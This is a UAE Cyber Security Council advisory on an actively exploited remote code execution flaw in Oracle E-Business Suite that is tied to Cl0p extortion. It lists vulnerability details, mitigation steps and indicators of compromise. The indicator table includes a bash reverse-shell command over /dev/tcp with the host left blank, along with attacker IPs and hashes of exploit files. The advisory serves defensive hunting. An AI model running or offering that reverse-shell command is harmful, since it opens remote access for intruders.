مجلس الأمن السيبراني
CYBER SECURITY COUNCIL
United Arab Emirates

Critical Exploited RCE Vulnerability in Oracle E-Business Suite

Tracking #:432317775

Date:06-10-2025

THE INFORMATION CONTAINED WITHIN IS THE PROPERTY OF THE CYBER SECURITY COUNCIL OF THE UNITED ARAB EMIRATES GOVERNMENT AND IS TO BE USED EXCLUSIVELY FOR INTELLGIENCE PURPOSES. IT MAY NOT BE USED IN ANY LEGAL OR PUBLIC MATTER WITHOUT THE EXPLICIT APPROVAL OF THE CYBER SECURITY COUNCIL

EXECUTIVE SUMMARY:

The UAE Cyber Security Council has observed Oracle published a Security Alert for an exploited unauthenticated critical remote code execution (RCE) vulnerability in Oracle E-Business Suite (EBS).

TECHNICAL DETAILS:

Oracle published a Security Alert for CVE-2025-61882, a critical (CVSS 3.1: 9.8), unauthenticated remote code execution (RCE) vulnerability in Oracle E-Business Suite (EBS) — Oracle Concurrent Processing (BI Publisher Integration). Oracle warns this flaw can be exploited over HTTP(S) without credentials and has been linked to recent extortion activity in which the Cl0p ransomware group claims exfiltration of EBS data. Oracle released a Security Alert and patch; organizations should treat this as actively exploited and perform immediate mitigation and hunting.

Vulnerability Details

- CVE ID: CVE-2025-61882
- Severity: Critical (CVSS 9.8)
- Impact: Full takeover of Oracle Concurrent Processing (BI Publisher Integration) and potential pivot to other EBS components and internal networks
- Exploitability: Remote, no authentication required; network (HTTP) attack vector; trivial to exploit in many environments.
- Observed activity: Extortion emails and alleged proof of exfiltration tied to Cl0p; security firms and media report active campaign and targeted extortion of EBS customers.
- Affected Products and Versions- Oracle E-Business Suite, versions 12.2.3-12.2.14

Indicators of Compromise (IOCs):

Indicator	Type	Description
200[.]107[.]207[.]26	IP	Potential GET and POST activity
185[.]181[.]60[.]11	IP	Potential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1	Command	Establish an outbound TCP connection over a specific port
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d	SHA256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121	SHA256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b	SHA256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py

RECOMMENDATIONS:

- Apply vendor fixes immediately — Install the Security Alert patch provided by Oracle for CVE-2025-61882

- Isolate exposed EBS instances — If not patch immediately, block HTTP(S) access to EBS application endpoints from untrusted networks (internet) at the firewall, WAF, and load-balancer. Restrict access to trusted IP ranges (VPN/management networks).
- Hunt for compromise (immediate) — Search for indicators of compromise listed above (IP addresses, suspicious outbound connections, shells, dropped files). If evidence of compromise is found, isolate the host(s), preserve forensic evidence, and assume data exfiltration until proven otherwise.

Kindly circulate this information to your subsidiaries and partners as well as share with us any relevant information and findings.

The UAE Cyber Security Council extends its appreciation for the continued collaboration.

REFERNCES:

- https://www.oracle.com/security-alerts/alert-cve-2025-61882.html